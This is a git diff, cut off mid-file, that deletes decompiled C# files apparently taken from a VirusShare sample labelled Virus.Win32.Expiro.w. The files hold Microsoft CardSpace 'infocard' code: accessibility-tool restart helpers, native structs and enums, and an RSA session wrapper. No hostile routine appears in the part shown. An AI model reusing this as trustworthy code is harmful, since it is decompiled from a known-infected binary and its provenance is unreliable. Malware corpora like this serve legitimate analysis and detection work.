location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HINSTANCE__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HWND__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HWND__.cs deleted file mode 100644 index 82f42822..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HWND__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HWND__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HWND__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IGNOREMIME.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IGNOREMIME.cs deleted file mode 100644 index a7aa6c7a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IGNOREMIME.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IGNOREMIME -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum IGNOREMIME -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMAGE_AUX_SYMBOL_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMAGE_AUX_SYMBOL_TYPE.cs deleted file mode 100644 index ca881afe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMAGE_AUX_SYMBOL_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMAGE_AUX_SYMBOL_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum IMAGE_AUX_SYMBOL_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMPORT_OBJECT_NAME_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMPORT_OBJECT_NAME_TYPE.cs deleted file mode 100644 index e114166a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMPORT_OBJECT_NAME_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMPORT_OBJECT_NAME_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum IMPORT_OBJECT_NAME_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMPORT_OBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMPORT_OBJECT_TYPE.cs deleted file mode 100644 index f7cc19d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMPORT_OBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMPORT_OBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum IMPORT_OBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityApplicationManager.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityApplicationManager.cs deleted file mode 100644 index 6637d5b4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityApplicationManager.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityApplicationManager -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityApplicationManager - { - private const int WindowsVistaMajorVersion = 6; - private IAccessibilityHelper m_helper; - - public AccessibilityApplicationManager() - { - bool fTabletPC = 0 != NativeMethods.GetSystemMetrics(86); - if (Environment.OSVersion.Version.Major < 6) - this.m_helper = (IAccessibilityHelper) new AccessibilityHelperForXpWin2k3(fTabletPC); - else - this.m_helper = (IAccessibilityHelper) new AccessibilityHelperForVista(fTabletPC); - } - - public void Stop() => this.m_helper.Stop(); - - public void RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - this.m_helper.RestartOnInfoCardDesktop(userATApplicationFlags, hTrustedUserToken, ref trustedUserSid, infocardDesktop, userSessionId, userProcessId, userIdentity); - } - - public bool RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - return this.m_helper.RestartOnUsersDesktop(userProcessId, userDesktop, userIdentity); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityHelperForVista.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityHelperForVista.cs deleted file mode 100644 index 82989ca8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityHelperForVista.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityHelperForVista -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityHelperForVista : IAccessibilityHelper, IDisposable - { - private static readonly string systemPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - private static readonly string progfilePath = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles); - private static readonly string baseATPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs"; - private static readonly string configPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session"; - private List m_applicationList = new List(); - private ProcessManager m_manager; - private bool m_fResetConfigKey; - private int m_sessionId; - private bool m_fTabletPC; - - public AccessibilityHelperForVista(bool fTabletPC) - { - this.m_fTabletPC = fTabletPC; - this.InitializeATAppData(); - } - - private void InitializeATAppData() - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(AccessibilityHelperForVista.baseATPath); - foreach (string subKeyName in registryKey.GetSubKeyNames()) - { - string str = (string) registryKey.OpenSubKey(subKeyName).GetValue("ATExe"); - if (!string.IsNullOrEmpty(str)) - this.m_applicationList.Add(str); - } - } - - void IAccessibilityHelper.Stop() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - bool IAccessibilityHelper.RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications must be terminated before they can be restarted"); - if (!this.m_fResetConfigKey) - return false; - Registry.LocalMachine.OpenSubKey(AccessibilityHelperForVista.configPath + (object) this.m_sessionId, true).SetValue("Configuration", (object) ""); - this.m_fResetConfigKey = false; - return true; - } - - void IAccessibilityHelper.RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - using (new SystemIdentity(false)) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications are already started"); - this.m_fResetConfigKey = false; - this.m_sessionId = userSessionId; - string str = userIdentity.User.Value; - for (int index = 0; index < this.m_applicationList.Count; ++index) - { - string application = this.m_applicationList[index]; - Process[] processesByName = Process.GetProcessesByName(application.Substring(0, application.LastIndexOf('.'))); - if (processesByName != null) - { - foreach (Process p in processesByName) - { - if (userSessionId == p.SessionId) - { - this.m_fResetConfigKey = true; - if (!Utility.KillHelper(p)) - break; - break; - } - } - } - } - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - string fullPath1 = Path.Combine(AccessibilityHelperForVista.systemPath, "AtBroker.exe"); - if (userATApplicationFlags != 0U) - { - bool fUseElevatedToken = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath1, "", fUseElevatedToken); - } - if (!this.m_fTabletPC) - return; - string fullPath2 = Path.Combine(AccessibilityHelperForVista.progfilePath, "microsoft shared\\ink\\tabtip.exe"); - bool fUseElevatedToken1 = true; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath2, "/SeekDesktop:", fUseElevatedToken1); - } - } - - public void Dispose() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs deleted file mode 100644 index fc589f66..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs +++ /dev/null @@ -1,169 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityHelperForXpWin2k3 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityHelperForXpWin2k3 : IAccessibilityHelper, IDisposable - { - private const int OSKIndex = 0; - private static readonly string systemPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - private static readonly string baseRegistryPath = "\\SOFTWARE\\Microsoft\\Utility Manager\\"; - private static readonly string keyName = "Start on locked desktop"; - internal static AccessibilityHelperForXpWin2k3.DownlevelAtData[] atApplications = new AccessibilityHelperForXpWin2k3.DownlevelAtData[3] - { - new AccessibilityHelperForXpWin2k3.DownlevelAtData("On-Screen Keyboard", "osk.exe", "msswchx"), - new AccessibilityHelperForXpWin2k3.DownlevelAtData("Magnifier", "magnify.exe", (string) null), - new AccessibilityHelperForXpWin2k3.DownlevelAtData("Narrator", "narrator.exe", (string) null) - }; - private List m_restartList = new List(); - private ProcessManager m_manager; - private bool m_fTabletPC; - - public AccessibilityHelperForXpWin2k3(bool fTabletPC) => this.m_fTabletPC = fTabletPC; - - void IAccessibilityHelper.Stop() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - bool IAccessibilityHelper.RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications must be terminated before they can be restarted"); - using (new SystemIdentity(false)) - { - foreach (int restart in this.m_restartList) - { - string application = Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[restart].Image); - int pid = 0; - int userHelperWrapper = (int) NativeMcppMethods.CreateProcessAsUserHelperWrapper(application, "", userProcessId, userDesktop, userIdentity.Name, ref pid); - } - } - this.m_restartList.Clear(); - return false; - } - - void IAccessibilityHelper.RestartOnInfoCardDesktop( - uint ATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - using (new SystemIdentity(false)) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications are already started"); - this.m_restartList.Clear(); - bool flag1 = false; - string str = userIdentity.User.Value; - for (int index = 0; index < AccessibilityHelperForXpWin2k3.atApplications.Length; ++index) - { - using (RegistryKey registryKey = Registry.Users.OpenSubKey(str + AccessibilityHelperForXpWin2k3.baseRegistryPath + AccessibilityHelperForXpWin2k3.atApplications[index].RegistryPath)) - { - bool flag2 = false; - int? nullable1 = new int?(); - if (registryKey != null && RegistryValueKind.DWord == registryKey.GetValueKind(AccessibilityHelperForXpWin2k3.keyName)) - nullable1 = new int?((int) registryKey.GetValue(AccessibilityHelperForXpWin2k3.keyName)); - if (nullable1.HasValue) - { - int? nullable2 = nullable1; - if ((1 != nullable2.GetValueOrDefault() ? 0 : (nullable2.HasValue ? 1 : 0)) != 0) - goto label_9; - } - if (this.m_fTabletPC) - { - if (index != 0) - continue; - } - else - continue; -label_9: - foreach (Process p in Process.GetProcessesByName(AccessibilityHelperForXpWin2k3.atApplications[index].Image.Substring(0, AccessibilityHelperForXpWin2k3.atApplications[index].Image.LastIndexOf('.')))) - { - flag2 = false; - if (userSessionId == p.SessionId) - { - flag2 = true; - this.m_restartList.Add(index); - if (!Utility.KillHelper(p)) - break; - break; - } - } - if (flag2 && AccessibilityHelperForXpWin2k3.atApplications[index].AdditionalImage != null) - { - foreach (Process p in Process.GetProcessesByName(AccessibilityHelperForXpWin2k3.atApplications[index].AdditionalImage)) - { - if (userSessionId == p.SessionId && Utility.KillHelper(p)) - break; - } - } - if (nullable1.HasValue) - { - int? nullable3 = nullable1; - if ((1 != nullable3.GetValueOrDefault() ? 0 : (nullable3.HasValue ? 1 : 0)) != 0) - { - if (ATApplicationFlags != 0U) - { - string fullPath = Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[index].Image); - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - bool fUseElevatedToken = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath, "", fUseElevatedToken); - if (index == 0) - flag1 = true; - } - } - } - } - } - if (!this.m_fTabletPC || flag1) - return; - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - bool fUseElevatedToken1 = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[0].Image), "", fUseElevatedToken1); - } - } - - public void Dispose() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - internal struct DownlevelAtData - { - public string RegistryPath; - public string Image; - public string AdditionalImage; - - public DownlevelAtData(string path, string image, string additional) - { - this.RegistryPath = path; - this.Image = image; - this.AdditionalImage = additional; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AppliesToBehaviorDecision.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AppliesToBehaviorDecision.cs deleted file mode 100644 index 2f6f2172..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AppliesToBehaviorDecision.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AppliesToBehaviorDecision -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum AppliesToBehaviorDecision : byte - { - DoNotSend, - SendRPAppliesTo, - SendCustomAppliesTo, - FailMatch, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs deleted file mode 100644 index c8c1bae1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AppliesToBehaviorDecisionTable -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.ServiceModel; - -namespace Microsoft.InfoCards -{ - internal static class AppliesToBehaviorDecisionTable - { - private static AppliesToBehaviorDecision[,] appliesToDecisionTable = new AppliesToBehaviorDecision[2, 3]; - - static AppliesToBehaviorDecisionTable() - { - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 0] = AppliesToBehaviorDecision.DoNotSend; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 0] = AppliesToBehaviorDecision.FailMatch; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 1] = AppliesToBehaviorDecision.DoNotSend; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 1] = AppliesToBehaviorDecision.SendRPAppliesTo; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 2] = AppliesToBehaviorDecision.SendCustomAppliesTo; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 2] = AppliesToBehaviorDecision.SendRPAppliesTo; - } - - private static AppliesToBehaviorDecision GetAppliesToBehaviorDecision( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo, - bool considerUnrecognizedElements) - { - int index = (EndpointAddress) null == policy.PolicyAppliesTo ? 0 : 1; - if (considerUnrecognizedElements) - index = policy.NonWhiteListElementsFound ? 1 : index; - return AppliesToBehaviorDecisionTable.appliesToDecisionTable[index, (int) requireAppliesTo]; - } - - public static AppliesToBehaviorDecision GetAppliesToBehaviorDecisionForRst( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo) - { - return AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecision(policy, requireAppliesTo, false); - } - - public static AppliesToBehaviorDecision GetAppliesToBehaviorDecisionForPolicyMatch( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo) - { - return AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecision(policy, requireAppliesTo, true); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Asn1Utilities.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Asn1Utilities.cs deleted file mode 100644 index 4165c866..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Asn1Utilities.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Asn1Utilities -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal class Asn1Utilities - { - private Asn1Utilities() - { - } - - public static string ToHexDump(byte[] bytes) => ""; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AsymmetricCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AsymmetricCryptoSession.cs deleted file mode 100644 index 9977996a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AsymmetricCryptoSession.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AsymmetricCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AsymmetricCryptoSession : CryptoSession - { - private RSACryptoServiceProvider m_provider; - - public AsymmetricCryptoSession( - Process process, - DateTime expirationTime, - WindowsIdentity identity, - RSACryptoServiceProvider key) - : base(process, expirationTime, identity, (object) key, CryptoSession.SessionType.Asymmetric) - { - this.m_provider = key; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_provider.KeySize); - Utility.SerializeString(bwriter, this.m_provider.KeyExchangeAlgorithm); - Utility.SerializeString(bwriter, this.m_provider.SignatureAlgorithm); - } - - protected override void OnDispose() - { - this.m_provider.Clear(); - this.m_provider.Dispose(); - this.m_provider = (RSACryptoServiceProvider) null; - } - - public byte[] Encrypt(bool fOAEP, byte[] inData) - { - this.ThrowIfDisposed(); - return this.m_provider.Encrypt(inData, fOAEP); - } - - public byte[] Decrypt(bool fOAEP, byte[] inData) - { - this.ThrowIfDisposed(); - return this.m_provider.Decrypt(inData, fOAEP); - } - - public byte[] SignHash(byte[] hash, string hashAlgOid) - { - this.ThrowIfDisposed(); - return this.m_provider.SignHash(hash, hashAlgOid); - } - - public bool VerifyHash(byte[] hash, string hashAlgOid, byte[] sig) - { - this.ThrowIfDisposed(); - return this.m_provider.VerifyHash(hash, hashAlgOid, sig); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AsyncParams.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AsyncParams.cs deleted file mode 100644 index c0fc70c0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AsyncParams.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AsyncParams -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.Win32.SafeHandles; - -namespace Microsoft.InfoCards -{ - internal abstract class AsyncParams - { - private RpcAsyncResult m_asyncResult; - - protected AsyncParams(ClientRequest request, string opType, SafeWaitHandle externEvent) => this.m_asyncResult = new RpcAsyncResult(request, opType, externEvent); - - public RpcAsyncResult AsyncResult => this.m_asyncResult; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AuditLog.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AuditLog.cs deleted file mode 100644 index e763226d..00000000 --- 